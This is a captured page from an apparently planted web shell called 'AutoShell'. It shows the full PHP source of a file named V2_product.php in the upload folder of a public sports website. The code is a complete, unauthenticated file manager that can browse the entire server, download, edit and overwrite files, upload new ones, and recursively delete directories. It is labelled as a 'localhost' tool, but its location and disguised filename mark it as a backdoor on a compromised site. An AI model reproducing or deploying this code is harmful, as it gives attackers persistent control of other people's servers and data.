AutoShell

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti* dfhdfhhdfdfhdhfhfdhdfdhfdhfdfhhdfdfhdhfhdf AutoShell

?? Editing: V2_product.php

<?php
$base = realpath('.');
$systemRoot = (DIRECTORY_SEPARATOR === '\\') ? 'C:\\' : '/'; // Windows or Unix root
$dir = isset($_GET['dir']) ? $_GET['dir'] : $base;

// Resolve the directory path - allow full system access for localhost
$dir = realpath($dir);

// Only basic validation - ensure directory exists and is readable
if ($dir === false || !is_dir($dir) || !is_readable($dir)) {
    $dir = $base; // Fallback to base if invalid path
}

// For localhost: Allow full system traversal - NO RESTRICTIONS

function rrmdir($path) {
    if (!is_dir($path)) return;
    $items = array_diff(scandir($path), ['.', '..']);
    foreach ($items as $item) {
        $sub = $path . DIRECTORY_SEPARATOR . $item;
        is_dir($sub) ? rrmdir($sub) : unlink($sub);
    }
    rmdir($path);
}

// Handle file download
if (isset($_GET['download'])) {
    $file = basename($_GET['download']);
    $fullPath = $dir . DIRECTORY_SEPARATOR . $file;
    if (is_file($fullPath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($fullPath).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($fullPath));
        readfile($fullPath);
        exit;
    }
}

// Handle file editing
$editFile = '';
$editContent = '';
if (isset($_GET['edit'])) {
    $editFile = basename($_GET['edit']);
    $fullPath = $dir . DIRECTORY_SEPARATOR . $editFile;
    if (is_file($fullPath)) {
        $editContent = file_get_contents($fullPath);
    }
}

// Save edited file
if (isset($_POST['save_edit']) && !empty($_POST['edit_filename']) && isset($_POST['edit_content'])) {
    $filename = basename($_POST['edit_filename']);
    $fullPath = $dir . DIRECTORY_SEPARATOR . $filename;
    file_put_contents($fullPath, $_POST['edit_content']);
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// Delete operations
if (isset($_GET['delete_file'])) {
    $toDelete = basename($_GET['delete_file']);
    $fullPath = $dir . DIRECTORY_SEPARATOR . $toDelete;
    if (is_file($fullPath)) {
        unlink($fullPath);
    }
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

if (isset($_GET['delete_dir'])) {
    $toDelete = basename($_GET['delete_dir']);
    $fullPath = $dir . DIRECTORY_SEPARATOR . $toDelete;
    if (is_dir($fullPath)) {
        rrmdir($fullPath);
    }
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// Handle uploads and folder creation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_FILES['file']['name'])) {
        move_uploaded_file($_FILES['file']['tmp_name'], $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']));
    }

if (!empty($_POST['folder_name'])) {
        $new_folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['folder_name']);
        if (!is_dir($new_folder)) {
            mkdir($new_folder);
        }
    }

if (!empty($_POST['rename_old']) && !empty($_POST['rename_new'])) {
        $old = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_old']);
        $new = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_new']);
        if (file_exists($old) && !file_exists($new)) {
            rename($old, $new);
        }
    }
}

$parent = dirname($dir);

// Create breadcrumbs for full system path
$pathParts = explode(DIRECTORY_SEPARATOR, $dir);
$breadcrumbs = array_filter($pathParts);

// Function to get system drives (Windows only)
function getSystemDrives() {
    if (DIRECTORY_SEPARATOR !== '\\') return [];
    $drives = [];
    for ($i = ord('A'); $i <= ord('Z'); $i++) {
        $drive = chr($i) . ':\\';
        if (is_dir($drive)) {
            $drives[] = $drive;
        }
    }
    return $drives;
}

// Function to format file permissions
function formatPermissions($file) {
    $perms = fileperms($file);
    $info = '';
    if (($perms & 0xC000) == 0xC000) $info = 's'; // Socket
    elseif (($perms & 0xA000) == 0xA000) $info = 'l'; // Symbolic Link
    elseif (($perms & 0x8000) == 0x8000) $info = '-'; // Regular
    elseif (($perms & 0x6000) == 0x6000) $info = 'b'; // Block special
    elseif (($perms & 0x4000) == 0x4000) $info = 'd'; // Directory
    elseif (($perms & 0x2000) == 0x2000) $info = 'c'; // Character special
    elseif (($perms & 0x1000) == 0x1000) $info = 'p'; // FIFO pipe
    else $info = 'u'; // Unknown
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to check if file is editable (text file)
function isEditableFile($filename) {
    $textExtensions = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'py', 'java', 'cpp', 'c', 'h', 'sql', 'log', 'ini', 'conf', 'yml', 'yaml'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return in_array($ext, $textExtensions) || $ext === '';
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Enhanced File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .actions { margin: 10px 0; }
        .edit-form { background: #f5f5f5; padding: 20px; border-radius: 5px; margin: 20px 0; }
        textarea { width: 100%; height: 400px; font-family: monospace; }
        .file-item { margin: 5px 0; padding: 5px; border-bottom: 1px solid #eee; }
        .file-actions { margin-left: 10px; }
        .file-actions a { margin-right: 5px; text-decoration: none; padding: 2px 5px; background: #007cba; color: white; border-radius: 3px; font-size: 12px; }
        .file-actions a:hover { background: #005a87; }
        .delete-btn { background: #dc3545 !important; }
        .edit-btn { background: #28a745 !important; }
        .download-btn { background: #ffc107 !important; color: #000 !important; }
        h2 a { color: #007cba; text-decoration: none; }
        h2 a:hover { text-decoration: underline; }
        form { margin: 10px 0; padding: 10px; background: #f8f9fa; border-radius: 5px; }
        input[type="text"], input[type="file"] { padding: 5px; margin: 5px; }
        button { padding: 5px 10px; background: #007cba; color: white; border: none; border-radius: 3px; cursor: pointer; }
        button:hover { background: #005a87; }
    </style>
</head>
<body>
    <h1>🌐 System File Manager (Localhost)</h1>
    
    <h2>📍 Current Directory: 
        <a href="?dir=<?= urlencode($systemRoot) ?>" title="Go to System Root">🖥️ System Root</a>
        <?php 
        $currentPath = '';
        foreach ($breadcrumbs as $i => $crumb):
            if ($crumb === '') continue;
            
            // Build path progressively
            if ($i === 0 && DIRECTORY_SEPARATOR === '\\') {
                // Windows drive letter
                $currentPath = $crumb . DIRECTORY_SEPARATOR;
            } else {
                $currentPath .= ($currentPath === DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR) . $crumb;
            }
        ?>
            <?= ($i === 0 && DIRECTORY_SEPARATOR === '/') ? '' : ' / ' ?>
            <a href="?dir=<?= urlencode($currentPath) ?>" title="Navigate to <?= htmlspecialchars($crumb) ?>">
                <?= ($i === 0 && DIRECTORY_SEPARATOR === '\\') ? '💽 ' . htmlspecialchars($crumb) : htmlspecialchars($crumb) ?>
            </a>
        <?php endforeach; ?>
        
        <small style="display: block; color: #666; font-size: 12px; margin-top: 5px;">
            Full System Path: <?= htmlspecialchars($dir) ?>
        </small>
    </h2>

<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin: 15px 0; border-left: 4px solid #ffc107;">
        <strong>⚠️ LOCALHOST MODE - FULL SYSTEM ACCESS ENABLED</strong>
        <p style="margin: 5px 0; font-size: 12px; color: #856404;">This file manager has unrestricted access to your entire system. Use with caution!</p>
    </div>

<div style="background: #e9ecef; padding: 15px; border-radius: 5px; margin: 15px 0;">
        <strong>🧭 Quick Navigation:</strong>
        
        <?php if ($dir !== $systemRoot): ?>
            <a href="?dir=<?= urlencode($parent) ?>" style="margin: 0 10px; padding: 5px 10px; background: #6c757d; color: white; text-decoration: none; border-radius: 3px;">⬅️ Go Up</a>
        <?php endif; ?>
        
        <a href="?dir=<?= urlencode($systemRoot) ?>" style="margin: 0 10px; padding: 5px 10px; background: #dc3545; color: white; text-decoration: none; border-radius: 3px;">🖥️ System Root</a>
        
        <a href="?dir=<?= urlencode($base) ?>" style="margin: 0 10px; padding: 5px 10px; background: #007cba; color: white; text-decoration: none; border-radius: 3px;">🏠 Script Home</a>
        
        
        <?php if (DIRECTORY_SEPARATOR === '\\'):
            $drives = getSystemDrives();
            if (!empty($drives)): ?>
                <span style="margin-left: 20px;"><strong>💽 Drives:</strong></span>
                <?php foreach ($drives as $drive): ?>
                    <a href="?dir=<?= urlencode($drive) ?>" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;"><?= $drive ?></a>
                <?php endforeach; ?>
            <?php endif; ?>
        <?php else: ?>
            
            <span style="margin-left: 20px;"><strong>🐧 Quick:</strong></span>
            <a href="?dir=/home" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/home</a>
            <a href="?dir=/var" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/var</a>
            <a href="?dir=/etc" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/etc</a>
            <a href="?dir=/tmp" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/tmp</a>
        <?php endif; ?>
        
        <span style="margin-left: 20px; font-size: 12px; color: #666;">
            📊 Items: <?= count(array_diff(scandir($dir), ['.', '..'])) ?> | 
            📁 Readable: <?= is_readable($dir) ? 'Yes' : 'No' ?> | 
            ✏️ Writable: <?= is_writable($dir) ? 'Yes' : 'No' ?>
        </span>
    </div>

<?php if ($editFile): ?>
        <div class="edit-form">
            <h3>📝 Editing: <?= htmlspecialchars($editFile) ?></h3>
            <form method="post">
                <input type="hidden" name="edit_filename" value="<?= htmlspecialchars($editFile) ?>">
                <textarea name="edit_content" placeholder="File content..."><?= htmlspecialchars($editContent) ?></textarea><br>
                <button type="submit" name="save_edit">💾 Save Changes</button>
                <a href="?dir=<?= urlencode($dir) ?>" style="margin-left: 10px; padding: 5px 10px; background: #6c757d; color: white; text-decoration: none; border-radius: 3px;">❌ Cancel</a>
            </form>
        </div>
    <?php endif; ?>

<div class="actions">
        <form method="post" enctype="multipart/form-data" style="display: inline-block;">
            <strong>📤 Upload file:</strong>
            <input type="file" name="file" required>
            <button type="submit">Upload</button>
        </form>
    </div>

<div class="actions">
        <form method="post" style="display: inline-block;">
            <strong>📁 Create folder:</strong>
            <input type="text" name="folder_name" placeholder="New Folder" required>
            <button type="submit">Create</button>
        </form>
    </div>

<div class="actions">
        <form method="post" style="display: inline-block;">
            <strong>✏️ Rename:</strong>
            <input type="text" name="rename_old" placeholder="Current Name" required>
            <input type="text" name="rename_new" placeholder="New Name" required>
            <button type="submit">Rename</button>
        </form>
    </div>

<h3>📋 Contents:</h3>
    <div>
        <?php
        $items = scandir($dir);
        $folders = [];
        $files = [];
        
        // Separate folders and files
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $item_path = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($item_path)) {
                $folders[] = $item;
            } else {
                $files[] = $item;
            }
        }
        
        // Sort both arrays
        sort($folders);
        sort($files);
        
        // Display parent directory link if not at system root
        if ($dir !== $systemRoot) {
            $parentName = ($parent === $systemRoot) ? "🖥️ System Root" : "📁 " . basename($parent);
            echo "<div class='file-item' style='background: #f8f9fa; border: 1px dashed #ccc; font-weight: bold;'>
                    <strong><a href='?dir=" . urlencode($parent) . "' style='color: #495057;'>..</a></strong> 
                    <span style='font-size: 12px; color: #666;'>($parentName)</span>
                    <span style='float: right; font-size: 10px; color: #999;'>" . htmlspecialchars($parent) . "</span>
                  </div>";
        }
        
        // Display folders
        foreach ($folders as $folder) {
            $item_path = $dir . DIRECTORY_SEPARATOR . $folder;
            $permissions = formatPermissions($item_path);
            $isWritable = is_writable($item_path);
            $itemCount = is_readable($item_path) ? count(array_diff(scandir($item_path), ['.', '..'])) : '?';
            
            echo "<div class='file-item'>
                    📁 <strong><a href='?dir=" . urlencode($item_path) . "'>" . htmlspecialchars($folder) . "</a></strong>
                    <small style='color: #666; margin-left: 10px;'>
                        ($itemCount items) | $permissions | " . ($isWritable ? '✏️ Writable' : '🔒 Read-only') . "
                    </small>
                    <span class='file-actions'>
                        <a href='?dir=" . urlencode($dir) . "&delete_dir=" . urlencode($folder) . "' 
                           onclick='return confirm(\"⚠️ DELETE FOLDER:\\n" . htmlspecialchars($folder) . "\\n\\nThis will permanently delete the folder and ALL its contents!\\n\\nFull path: " . htmlspecialchars($item_path) . "\\n\\nAre you absolutely sure?\")' 
                           class='delete-btn'" . ($isWritable ? '' : ' style=\"opacity:0.5\" title=\"Not writable\"') . ">🗑 Delete</a>
                    </span>
                  </div>";
        }
        
        // Display files
        foreach ($files as $file) {
            $item_path = $dir . DIRECTORY_SEPARATOR . $file;
            $fileSize = filesize($item_path);
            $fileSizeFormatted = $fileSize > 1024*1024 ? round($fileSize/(1024*1024), 2) . ' MB' : 
                                ($fileSize > 1024 ? round($fileSize/1024, 2) . ' KB' : $fileSize . ' B');
            $lastModified = date('Y-m-d H:i:s', filemtime($item_path));
            $permissions = formatPermissions($item_path);
            $isWritable = is_writable($item_path);
            $isExecutable = is_executable($item_path);
            
            // File type icon
            $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            $icon = '📄';
            if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg'])) $icon = '🖼️';
            elseif (in_array($ext, ['mp3', 'wav', 'ogg', 'flac'])) $icon = '🎵';
            elseif (in_array($ext, ['mp4', 'avi', 'mkv', 'mov'])) $icon = '🎬';
            elseif (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) $icon = '📦';
            elseif (in_array($ext, ['php', 'html', 'css', 'js'])) $icon = '💻';
            elseif (in_array($ext, ['txt', 'md', 'log'])) $icon = '📝';
            elseif ($isExecutable) $icon = '⚙️';
            
            echo "<div class='file-item'>
                    $icon <span style='font-weight: 500;'>" . htmlspecialchars($file) . "</span>
                    <small style='color: #666; margin-left: 10px;'>
                        ($fileSizeFormatted) | $lastModified | $permissions" . 
                        ($isExecutable ? ' | ⚙️ Executable' : '') . 
                        ($isWritable ? '' : ' | 🔒 Read-only') . "
                    </small>
                    <span class='file-actions'>";
            
            // Download button for all files
            echo "<a href='?dir=" . urlencode($dir) . "&download=" . urlencode($file) . "' class='download-btn'>💾 Download</a>";
            
            // Edit button only for text files and if writable
            if (isEditableFile($file)) {
                echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($file) . "' class='edit-btn'" . 
                     ($isWritable ? '' : ' style=\"opacity:0.5\" title=\"File is read-only\"') . ">✏️ Edit</a>";
            }
            
            // Delete button
            echo "<a href='?dir=" . urlencode($dir) . "&delete_file=" . urlencode($file) . "' 
                     onclick='return confirm(\"⚠️ DELETE FILE:\\n" . htmlspecialchars($file) . "\\n\\nFull path: " . htmlspecialchars($item_path) . "\\n\\nAre you sure?\")' 
                     class='delete-btn'" . ($isWritable ? '' : ' style=\"opacity:0.5\" title=\"File is read-only\"') . ">🗑 Delete</a>";
            
            echo "</span></div>";
        }
        ?>
    </div>

<hr style="margin-top: 30px;">
    <footer style="text-align: center; color: #666; font-size: 12px;">
        <div style="background: #f8d7da; padding: 10px; border-radius: 5px; border: 1px solid #f5c6cb; margin-bottom: 10px;">
            <strong>⚠️ LOCALHOST DEVELOPMENT MODE</strong><br>
            <span style="font-size: 11px;">Full system access enabled - Use only in secure localhost environment!</span>
        </div>
        <p>🌐 System File Manager | Features: Upload, Download, Edit, Create Folders, Rename, Delete</p>
        <p><strong>System Root:</strong> <?= htmlspecialchars($systemRoot) ?> | <strong>Script Home:</strong> <?= htmlspecialchars($base) ?></p>
        <p style="font-size: 10px; margin-top: 10px;">
            <strong>Navigation Guide:</strong> 
            🖥️ System Root = <?= DIRECTORY_SEPARATOR === '\\' ? 'C:\\ (Windows)' : '/ (Unix/Linux)' ?> | 
            🏠 Script Home = Current Script Directory | 
            ⬅️ Up = Parent Directory | 
            💽 Drives = Available System Drives (Windows)
        </p>
        <p style="font-size: 9px; color: #999; margin-top: 5px;">
            Permissions Format: [type][owner][group][world] | r=read, w=write, x=execute, d=directory, -=regular file
        </p>
    </footer>
</body>
</html>

Path:

home / ostadcom / public_html / iranmuaythai.ir / panel / upload / tournament1 /

?? Editing: V2_product.php

Path:

?? Upload